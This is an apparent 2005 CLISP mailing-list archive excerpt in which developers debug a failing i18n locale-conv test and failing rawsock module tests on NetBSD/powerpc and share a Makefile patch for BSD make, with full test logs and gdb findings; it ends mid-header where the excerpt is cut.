Steingold, Bruno Haible 2001-2005 ;; Loading file /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/tests.fas ... 0 errors, 0 warnings ;; Loaded file /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/tests.fas RUN-TEST: started # (LISTP (SHOW (MULTIPLE-VALUE-LIST (MODULE-INFO "i18n" T)) :PRETTY T)) ("i18n" 9 (TEXTDOMAINDIR TEXTDOMAIN I18N::SET-TEXTDOMAINDIR I18N::SET-TEXTDOMAIN SET-LOCALE NGETTEXT LOCALE-CONV LANGUAGE-INFORMATION GETTEXT) 67 ((OR NULL INTEGER (MEMBER :ALL :COLLATE :CTYPE :MESSAGES :MONETARY :NUMERIC :TIME)) (OR INTEGER (MEMBER :CODESET :D_T_FMT :D_FMT :T_FMT :T_FMT_AMPM :AM_STR :PM_STR :DAY_1 :DAY_2 :DAY_3 :DAY_4 :DAY_5 :DAY_6 :DAY_7 :ABDAY_1 :ABDAY_2 :ABDAY_3 :ABDAY_4 :ABDAY_5 :ABDAY_6 :ABDAY_7 :MON_1 :MON_2 :MON_3 :MON_4 :MON_5 :MON_6 :MON_7 :MON_8 :MON_9 :MON_10 :MON_11 :MON_12 :ABMON_1 :ABMON_2 :ABMON_3 :ABMON_4 :ABMON_5 :ABMON_6 :ABMON_7 :ABMON_8 :ABMON_9 :ABMON_10 :ABMON_11 :ABMON_12 :ERA :ERA_D_FMT :ERA_D_T_FMT :ERA_T_FMT :ALT_DIGITS :RADIXCHAR :THOUSEP :YESEXPR :NOEXPR :YESSTR :NOSTR :CRNCYSTR)) :YESSTR :YESEXPR :T_FMT_AMPM :T_FMT :TIME :THOUSEP :RADIXCHAR :PM_STR :NUMERIC :NOSTR :NOEXPR :MON_9 :MON_8 :MON_7 :MON_6 :MON_5 :MON_4 :MON_3 :MON_2 :MON_12 :MON_11 :MON_10 :MON_1 :MONETARY :MESSAGES :ERA_T_FMT :ERA_D_T_FMT :ERA_D_FMT :ERA :D_T_FMT :D_FMT :DAY_7 :DAY_6 :DAY_5 :DAY_4 :DAY_3 :DAY_2 :DAY_1 :CTYPE :CRNCYSTR :COLLATE :CODESET :AM_STR :ALT_DIGITS :ALL :ABMON_9 :ABMON_8 :ABMON_7 :ABMON_6 :ABMON_5 :ABMON_4 :ABMON_3 :ABMON_2 :ABMON_12 :ABMON_11 :ABMON_10 :ABMON_1 :ABDAY_7 :ABDAY_6 :ABDAY_5 :ABDAY_4 :ABDAY_3 :ABDAY_2 :ABDAY_1 I18N::MK-LOCALE-CONV)) EQL-OK: T (GETTEXT "foo") EQUAL-OK: "foo" (NGETTEXT "abazonk" "abazonk" 12) EQUAL-OK: "abazonk" (TYPEP (SHOW (TEXTDOMAIN)) '(OR NULL STRING)) "messages" EQL-OK: T (SETF (TEXTDOMAIN) "zot") EQUAL-OK: "zot" (TYPEP (SHOW (TEXTDOMAINDIR "foo")) '(OR NULL PATHNAME)) #P"/usr/pkg/packages/gettext-lib-0.11.5nb6/share/locale/" EQL-OK: T (PATHNAMEP (SETF (TEXTDOMAINDIR "foo") (CAR (DIRECTORY "./")))) EQL-OK: T (LISTP (SHOW (SET-LOCALE) :PRETTY T)) (:ALL "C/en_US.UTF-8/C/C/C/C" :COLLATE "C" :CTYPE "en_US.UTF-8" :MESSAGES "C" :MONETARY "C" :NUMERIC "C" :TIME "C") EQL-OK: T (IF (FBOUNDP 'LOCALE-CONV) (LOCALE-CONV-P (SHOW (LOCALE-CONV) :PRETTY T)) T) *** - Internal error: statement in file "gettext.c", line 286 has been reached!! Please send the authors of the program a description how you produced this error! Bye. *** Error code 1 Stop. make: stopped in /home/magnus/noarchive/src/clisp-cvs/build-zemdatav From sds@gnu.org Tue Nov 29 13:13:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhCme-0004im-QK for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 13:13:04 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhCmc-0004QT-S7 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 13:13:04 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATLCWJO003360 for ; Tue, 29 Nov 2005 16:12:32 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87k6ernqd3.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Tue, 29 Nov 2005 21:36:24 +0100") References: <87k6ernqd3.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: make mod-check fails for i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 13:14:01 2005 X-Original-Date: Tue, 29 Nov 2005 16:11:34 -0500 > * Magnus Henoch [2005-11-29 21:36:24 +0100]: > > I'm trying to compile clisp from CVS HEAD on NetBSD/powerpc, > building using: > > ./configure --with-module=clx/new-clx --with-debug --build build-zemdatav does --with-module=rawsock work too? > (IF (FBOUNDP 'LOCALE-CONV) (LOCALE-CONV-P (SHOW (LOCALE-CONV) :PRETTY T)) T) > *** - Internal error: statement in file "gettext.c", line 286 has been reached!! > Please send the authors of the program a description how you produced this > error! please do this: cd build-zemdatav gdb lisp.run base run (locale-conv) you will stop in fehler_notreached (that signals the above error). please do "up" in gdb to this function: static object bool_char_lconv(char val) { switch (val) { case 0: return NIL; case 1: return T; case CHAR_MAX: return S(Kunspecific); default: NOTREACHED; } } what is val? what struct lconv slot is it coming from? how is CHAR_MAX defined on your system? thanks a lot! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.iris.org.il http://www.memri.org/ http://pmw.org.il/ http://www.jihadwatch.org/ http://www.dhimmi.com/ I don't want to be young again, I just don't want to get any older. From lisp-clisp-list@m.gmane.org Tue Nov 29 14:57:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhEPm-00026C-3j for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 14:57:34 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EhEPj-0000tb-N9 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 14:57:34 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EhEMe-0003E2-44 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 23:54:20 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 29 Nov 2005 23:54:20 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 29 Nov 2005 23:54:20 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 56 Message-ID: <873blfm5mg.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:AiaAR72FPbXeZnfUhCfzGxca48I= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Benchmarks makefile doesn't work with BSD make Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 14:58:11 2005 X-Original-Date: Tue, 29 Nov 2005 23:49:43 +0100 The makefile in the benchmarks directory doesn't work with (Net)BSD make. Retrying the build with GNU make doesn't work as expected, as the MAKE variable is overridden in the main makefile (it is set from the environment variable with the same name during configure). I tried to change the benchmarks makefile to be acceptable to both GNU make and BSD make. This patch seems to work (the CMUCL parts are not tested): --- Makefile 11 Aug 2002 20:57:01 +0200 1.2 +++ Makefile 29 Nov 2005 22:20:19 +0100 @@ -1,5 +1,7 @@ # Makefile for Gabriel's Benchmarks +.SUFFIXES: .fas .x86f .lisp + # CLISP CLISP=../build/clisp -norc @@ -9,24 +11,24 @@ LOG=benchmarks.log EVAL=no -SOURCES=acker bfib boyer browse ctak dderiv deriv destru div2 fac fft fprint \ - fread frpoly puzzle stak stream tak takl takr tprint traverse triang +SOURCES=acker.lisp bfib.lisp boyer.lisp browse.lisp ctak.lisp dderiv.lisp deriv.lisp destru.lisp div2.lisp fac.lisp fft.lisp fprint.lisp \ + fread.lisp frpoly.lisp puzzle.lisp stak.lisp stream.lisp tak.lisp takl.lisp takr.lisp tprint.lisp traverse.lisp triang.lisp all: @echo "chose your compiler and run 'make clisp' or 'make cmucl'" -%.fas: %.lisp +.lisp.fas: $(CLISP) -c $< -%.x86f: %.lisp +.lisp.x86f: $(CMUCL) -eval '(progn (compile-file "$<") (quit 0))' -clisp: run-all.fas $(addsuffix .lisp ,$(SOURCES)) - $(CLISP) -i $< -x '(benchmarks :compiled "$(LOG)")' +clisp: run-all.fas $(SOURCES) + $(CLISP) -i run-all.fas -x '(benchmarks :compiled "$(LOG)")' @if [ "$(EVAL)" = "yes" ]; then $(CLISP) -i $< -x '(benchmarks :interpreted "$(LOG)")'; fi -cmucl: run-all.x86f $(addsuffix .lisp ,$(SOURCES)) - $(CMUCL) -load $< -eval '(progn (benchmarks :compiled "$(LOG)") (quit 0))' +cmucl: run-all.x86f $(SOURCES) + $(CMUCL) -load run-all.x86f -eval '(progn (benchmarks :compiled "$(LOG)") (quit 0))' @if [ "$(EVAL)" = "yes" ]; then $(CMUCL) -load $< -eval '(progn (benchmarks :interpreted "$(LOG)") (quit 0))'; fi clean: force Magnus From lisp-clisp-list@m.gmane.org Tue Nov 29 15:02:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhEUj-0002Sv-93 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:02:41 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EhEUi-0003aj-7p for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:02:41 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EhET6-00060p-Rm for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 00:01:00 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 00:01:00 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 00:01:00 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 170 Message-ID: <87wtirkqux.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:BsTqjgMgkMRGb998bPhZaOVPO8U= X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 UPPERCASE_75_100 message body is 75-100% uppercase Subject: [clisp-list] Checks fail for rawsock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 15:03:02 2005 X-Original-Date: Tue, 29 Nov 2005 23:53:58 +0100 Trying to run the tests of the rawsock module (still NetBSD/powerpc) gives the following. The last test seems to wait forever. magnus@zemdatav:~/noarchive/src/clisp-cvs/build-rawsock/rawsock$ ../clisp -= K full -E 1:1 -q -norc -i ../tests/tests -x '(run-test "./test")' STACK depth: 16367 ;; Loading file /home/magnus/noarchive/src/clisp-cvs/build-rawsock/tests/te= sts.lisp ... ;; Loaded file /home/magnus/noarchive/src/clisp-cvs/build-rawsock/tests/tes= ts.lisp RUN-TEST: started # (LISTP (SHOW (MULTIPLE-VALUE-LIST (MODULE-INFO "rawsock" T)) :PRETTY T)) ("rawsock" 36 (RAWSOCK:UDPCSUM RAWSOCK:TCPCSUM RAWSOCK:SOCK-WRITE RAWSOCK:SOCK-READ RAWSOCK:SOCK-LISTEN RAWSOCK:SOCK-CLOSE RAWSOCK:SOCKET-OPTION RAWSOCK:SOCKETPAIR RAWSOCK:SOCKET RAWSOCK:SOCKATMARK RAWSOCK::SOCKADDR-SL= OT RAWSOCK:SOCKADDR-FAMILY RAWSOCK::SET-SOCKET-OPTION RAWSOCK:SENDTO RAWSOCK:SENDMSG RAWSOCK:SEND RAWSOCK:RECVMSG RAWSOCK:RECVFROM RAWSOCK:RECV RAWSOCK:PROTOCOL RAWSOCK:NTOHS RAWSOCK:NTOHL RAWSOCK:NETWORK RAWSOCK:MAKE-SOCKADDR RAWSOCK:IPCSUM RAWSOCK:ICMPCSUM RAWSOCK:HTONS RAWSOCK:HTONL RAWSOCK:GETSOCKNAME RAWSOCK:GETPEERNAME RAWSOCK:GETNAMEINFO RAWSOCK:GETADDRINFO RAWSOCK:CONVERT-ADDRESS RAWSOCK:CONNECT RAWSOCK:BIND RAWSOCK:ACCEPT) 109 ((OR NULL INTEGER (MEMBER :ALL :SOL-SOCKET :IPPROTO-IP :IPPROTO-IPV6 :IPPROTO-ICMP :IPPROTO-RAW :IPPROTO-TCP :IPPROTO-UDP :IPPROTO-IGMP :IPPROTO-IPIP :IPPROTO-EGP :IPPROTO-PUP :IPPROTO-IDP :IPPROTO-GGP :IPPROTO-HOPOPTS :IPPROTO-ROUTING :IPPROTO-FRAGMENT :IPPROTO-ESP :IPPROTO-AH :IPPROTO-IC= MPV6 :IPPROTO-DSTOPTS :IPPROTO-NONE)) (OR NULL INTEGER (MEMBER :DEBUG :ACCEPTCONN :BROADCAST :USELOOPBACK :REUSEADDR :KEEPALIVE :LINGER :OOBINLINE :SNDBUF :RCVBUF :ERROR :TYPE :DONTROUTE :RCVLOWAT :RCVTIMEO :SNDLOWAT :SNDTIMEO)) (OR NULL INTEGER (MEMBER :STREAM :DGRAM :RAW :RDM :SEQPACKET)) (OR NULL INTEGER (MEMBER :OOB :PEEK :DONTROUTE :CTRUNC :TRUNC :DONTWAIT :EOR :WAITALL)) (OR NULL INTEGER (MEMBER :IPPROTO-IP :IPPROTO-IPV6 :IPPROTO-ICMP :IPPROTO-RAW :IPPROTO-TCP :IPPROTO-UDP :IPPROTO-IGMP :IPPROTO-IPIP :IPPROTO-EGP :IPPROTO-PUP :IPPROTO-IDP :IPPROTO-GGP :IPPROTO-HOPOPTS :IPPROTO-ROUTING :IPPROTO-FRAGMENT :IPPROTO-ESP :IPPROTO-AH :IPPROTO-ICMPV6 :IPPROTO-DST= OPTS :IPPROTO-NONE :IPPROTO-RSVP :IPPROTO-GRE :IPPROTO-PIM)) (OR NULL INTEGER (MEMBER :PASSIVE :CANONNAME :NUMERICHOST :NUMERICSERV)) (OR NULL INTEGER (MEMBER :UNSPEC :UNIX :LOCAL :INET :IMPLINK :PUP :CHAOS :DATAKIT :CCITT = :IPX :NS :ISO :OSI :ECMA :APPLETALK :INET6 :DECNET :DLI :LAT :HYLINK :ROUTE :SNA)) (MEMBER :FAMILY :DATA) SOCKADDR RAWSOCK:SOCKADDR RAWSOCK:MESSAGE RAWSOCK::MAKE-SA RAWSOCK:MAKE-PROTOCOL RAWSOCK:MAKE-NETWORK RAWSOCK:MAKE-ADDRINFO :WAITALL :V4MAPPED :USELOOPBACK :UNSPEC :UNIX :TYPE :TRUNC :STREAM :START :SOL-SOCKET :SOCKTYPE :SNDTIMEO :SNDLOWAT :SNDBUF := SNA :SERVICE :SEQPACKET :ROUTE :REUSEADDR :RDM :RCVTIMEO :RCVLOWAT :RCVBUF :R= AW :PUP :PROTOCOL :PEEK :PASSIVE :OSI :OOBINLINE :OOB :NUMERICSERV :NUMERICS= COPE :NUMERICHOST :NS :NOFQDN :NODE :NAMEREQD :LOCAL :LINGER :LEVEL :LAT :KEEPALIVE :ISO :IPX :IPPROTO-UDP :IPPROTO-TCP :IPPROTO-RSVP :IPPROTO-ROU= TING :IPPROTO-RAW :IPPROTO-PUP :IPPROTO-PIM :IPPROTO-NONE :IPPROTO-IPV6 :IPPROTO-IPIP :IPPROTO-IP :IPPROTO-IGMP :IPPROTO-IDP :IPPROTO-ICMPV6 :IPPROTO-ICMP :IPPROTO-HOPOPTS :IPPROTO-GRE :IPPROTO-GGP :IPPROTO-FRAGMENT :IPPROTO-ESP :IPPROTO-EGP :IPPROTO-DSTOPTS :IPPROTO-AH :INET6 :INET :IMPL= INK :HYLINK :FAMILY :ERROR :EOR :END :ECMA :DONTWAIT :DONTROUTE :DLI :DGRAM :DECNET :DEBUG :DATAKIT :DATA :CTRUNC :CHAOS :CCITT :CANONNAME :BROADCAST :APPLETALK :ALL :ADDRCONFIG :ACCEPTCONN)) EQL-OK: T (PROGN (DEFUN TO-BYTES (STRING) (CONVERT-STRING-TO-BYTES STRING CHARSET:ASC= II)) (DEFUN FROM-BYTES (VEC &OPTIONAL SIZE) (CONVERT-STRING-FROM-BYTES VEC = CHARSET:ASCII :END SIZE)) (DEFUN MAKE-BYTE-VECTOR (LEN) (MAKE-ARRAY (ETYPEC= ASE LEN (INTEGER LEN) (SEQUENCE (LENGTH LEN))) :ELEMENT-TYPE '(UNSIGNED-BYT= E 8) :INITIAL-ELEMENT 0)) (DEFUN HOST->SA (HOST &OPTIONAL (PORT 0)) (LET* (= (HE (RESOLVE-HOST-IPADDR HOST)) SA (IP (FIRST (HOSTENT-ADDR-LIST HE))) (TYP= E (HOSTENT-ADDRTYPE HE)) (LI (READ-FROM-STRING (CONCATENATE 'STRING "(" (SU= BSTITUTE #\Space #\. IP) ")"))) (VE (MAKE-BYTE-VECTOR (NTH-VALUE 1 (RAWSOCK= ::SOCKADDR-SLOT :DATA))))) (SHOW HE :PRETTY T) (SETF PORT (RAWSOCK:HTONS PO= RT) (AREF VE 0) (LDB #S(BYTE :SIZE 8 :POSITION 0) PORT) (AREF VE 1) (LDB #S= (BYTE :SIZE 8 :POSITION 8) PORT)) (REPLACE VE LI :START1 2) (SHOW VE) (SETQ= SA (SHOW (RAWSOCK:MAKE-SOCKADDR TYPE VE))) (ASSERT (EQUALP VE (RAWSOCK:SOC= KADDR-DATA SA))) (SHOW (LIST 'RAWSOCK:SOCKADDR-FAMILY (MULTIPLE-VALUE-LIST = (RAWSOCK:SOCKADDR-FAMILY SA)))) (SHOW (MAPCAR (LAMBDA (ADDR) (LET ((NUMERIC= (RAWSOCK:CONVERT-ADDRESS TYPE ADDR))) (SHOW (LIST :ADDRESS ADDR NUMERIC)) = (ASSERT (STRING=3D IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC))))) (HOSTENT-A= DDR-LIST HE))) SA)) (DEFUN LOCAL-SA-CHECK (SOCK SA-LOCAL) (LET* ((SA (RAWSO= CK:GETSOCKNAME SOCK T)) (DATA (RAWSOCK:SOCKADDR-DATA SA))) (SHOW SA) (SHOW = (LIST 'PORT (+ (AREF DATA 1) (ASH (AREF DATA 0) 8)))) (AND (=3D (RAWSOCK:SO= CKADDR-FAMILY SA) (RAWSOCK:SOCKADDR-FAMILY SA-LOCAL)) (EQUALP (SUBSEQ DATA = 2) (SUBSEQ (RAWSOCK:SOCKADDR-DATA SA-LOCAL) 2))))) (DOLIST (WHAT '(NIL :DAT= A :FAMILY)) (SHOW (CONS (LIST 'RAWSOCK::SOCKADDR-SLOT WHAT) (MULTIPLE-VALUE= -LIST (RAWSOCK::SOCKADDR-SLOT WHAT))))) (DEFVAR *SA-REMOTE*) (DEFVAR *SA-LO= CAL*) (DEFVAR *BUFFER* (MAKE-BYTE-VECTOR 1024)) (DEFVAR *SOCK*) (DEFVAR *SO= CK1*) (DEFVAR *SOCK2*) (DEFVAR *RECV-RET*) (DEFVAR *RECVFROM-RET*) (DEFVAR = *READ-RET*) (DEFUN MY-RECVFROM (SO VE SA &OPTIONAL (STATUS :OUTPUT) &AUX SI= ZE) (WHEN (SOCKET-STATUS (CONS SO :INPUT) 1) (MULTIPLE-VALUE-BIND (LEN SA-L= EN SA1) (RAWSOCK:RECVFROM SO VE SA) (ASSERT (EQ SA SA1)) (SETQ SIZE LEN) (S= HOW (LIST LEN SA-LEN SA (SUBSEQ VE 0 LEN)) :PRETTY T))) (ASSERT (EQ STATUS = (SHOW (SOCKET-STATUS SO)))) (RAWSOCK:SOCK-CLOSE *SOCK*) SIZE) T) ((RAWSOCK::SOCKADDR-SLOT NIL) 16) ((RAWSOCK::SOCKADDR-SLOT :DATA) 2 14) ((RAWSOCK::SOCKADDR-SLOT :FAMILY) 1 1) EQL-OK: T (PROGN (SETQ *SA-REMOTE* (HOST->SA "ftp.gnu.org" 21)) T) # #(21 0 199 232 41 7 0 0 0 0 0 0 0 0) # (RAWSOCK:SOCKADDR-FAMILY (2 16)) (:ADDRESS "199.232.41.7" 120187079) [SIMPLE-ERROR]: (STRING=3D IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC)) must = evaluate to a non-NIL value. ERROR!! ERROR should be T ! (PROGN (SETQ *SA-LOCAL* (HOST->SA :DEFAULT)) T) # #(0 0 213 67 239 170 0 0 0 0 0 0 0 0) # (RAWSOCK:SOCKADDR-FAMILY (2 16)) (:ADDRESS "213.67.239.170" 2867807189) [SIMPLE-ERROR]: (STRING=3D IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC)) must = evaluate to a non-NIL value. ERROR!! ERROR should be T ! (CATCH 'TYPE-ERROR-HANDLER (HANDLER-BIND ((TYPE-ERROR #'TYPE-ERROR-HANDLER)= ) (RAWSOCK:SOCKET :INET :FOO NIL))) [SIMPLE-TYPE-ERROR]: RAWSOCK:SOCKET: Lisp value :FOO is not found in table = "check_socket_type": ((1 :STREAM) (2 :DGRAM) (3 :RAW) (4 :RDM) (5 :SEQPACKE= T)) (:DATUM :FOO :EXPECTED-TYPE (OR INTEGER (MEMBER NIL :STREAM :DGRAM :RAW :RDM :SEQPACKET))) EQL-OK: NIL (CATCH 'TYPE-ERROR-HANDLER (HANDLER-BIND ((TYPE-ERROR #'TYPE-ERROR-HANDLER)= ) (RAWSOCK:SOCKET :FOO :STREAM NIL))) [SIMPLE-TYPE-ERROR]: RAWSOCK:SOCKET: Lisp value :FOO is not found in table = "check_socket_domain": ((0 :UNSPEC) (1 :UNIX) (1 :LOCAL) (2 :INET) (3 :IMPL= INK) (4 :PUP) (5 :CHAOS) (9 :DATAKIT) (10 :CCITT) (23 :IPX) (6 :NS) (7 :ISO= ) (7 :OSI) (8 :ECMA) (16 :APPLETALK) (24 :INET6) (12 :DECNET) (13 :DLI) (14= :LAT) (15 :HYLINK) (17 :ROUTE) (11 :SNA)) (:DATUM :FOO :EXPECTED-TYPE (OR INTEGER (MEMBER NIL :UNSPEC :UNIX :LOCAL :INET :IMPLINK :PUP :CHAOS :DATAKIT :CCI= TT :IPX :NS :ISO :OSI :ECMA :APPLETALK :INET6 :DECNET :DLI :LAT :HYLINK :RO= UTE :SNA))) EQL-OK: NIL (INTEGERP (SHOW (SETQ *SOCK* (RAWSOCK:SOCKET :INET :STREAM NIL)))) 6 EQL-OK: T (UNLESS (EQUALP #(127 0 0 1) (SUBSEQ (RAWSOCK:SOCKADDR-DATA *SA-LOCAL*) 2 6= )) (RAWSOCK:BIND *SOCK* *SA-LOCAL*) (NOT (LOCAL-SA-CHECK *SOCK* *SA-LOCAL*)= )) [SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-LOCAL* has no value ERROR!! ERROR should be NIL ! (RAWSOCK:CONNECT *SOCK* *SA-REMOTE*) [SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-REMOTE* has no value ERROR!! ERROR should be NIL ! (EQUALP (RAWSOCK:GETPEERNAME *SOCK* T) *SA-REMOTE*) [SIMPLE-FILE-ERROR]: UNIX error 57 (ENOTCONN): Socket is not connected ERROR!! ERROR should be T ! (SOCKET-STATUS (LIST (CONS *SOCK* :INPUT))) From lisp-clisp-list@m.gmane.org Tue Nov 29 15:13:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhEf8-000376-Bt for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:13:26 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EhEf7-0001eK-L1 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:13:26 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EhEci-0002mx-Ro for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 00:10:56 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 00:10:56 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 00:10:56 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 46 Message-ID: <871x0zm5k6.fsf@zemdatav.stor.no-ip.org> References: <87k6ernqd3.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:CotvHz2n4acfQ1gtLSPDgPZiwIA= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: make mod-check fails for i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 15:14:04 2005 X-Original-Date: Tue, 29 Nov 2005 23:51:05 +0100 Sam Steingold writes: >> * Magnus Henoch [2005-11-29 21:36:24 +0100]: >> >> I'm trying to compile clisp from CVS HEAD on NetBSD/powerpc, >> building using: >> >> ./configure --with-module=clx/new-clx --with-debug --build build-zemdatav > > does --with-module=rawsock work too? It compiles, but seems to fail its checks. See separate message. > please do this: > > cd build-zemdatav > gdb lisp.run > base > run > (locale-conv) > > you will stop in fehler_notreached (that signals the above error). > please do "up" in gdb to this function: > > static object bool_char_lconv(char val) { > switch (val) { > case 0: return NIL; > case 1: return T; > case CHAR_MAX: return S(Kunspecific); > default: NOTREACHED; > } > } > > what is val? val is 255. > what struct lconv slot is it coming from? From p_cs_precedes (line 311 of gettext.c). > how is CHAR_MAX defined on your system? It is defined as 0xffU. Magnus From ortmage@gmx.net Tue Nov 29 15:41:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by 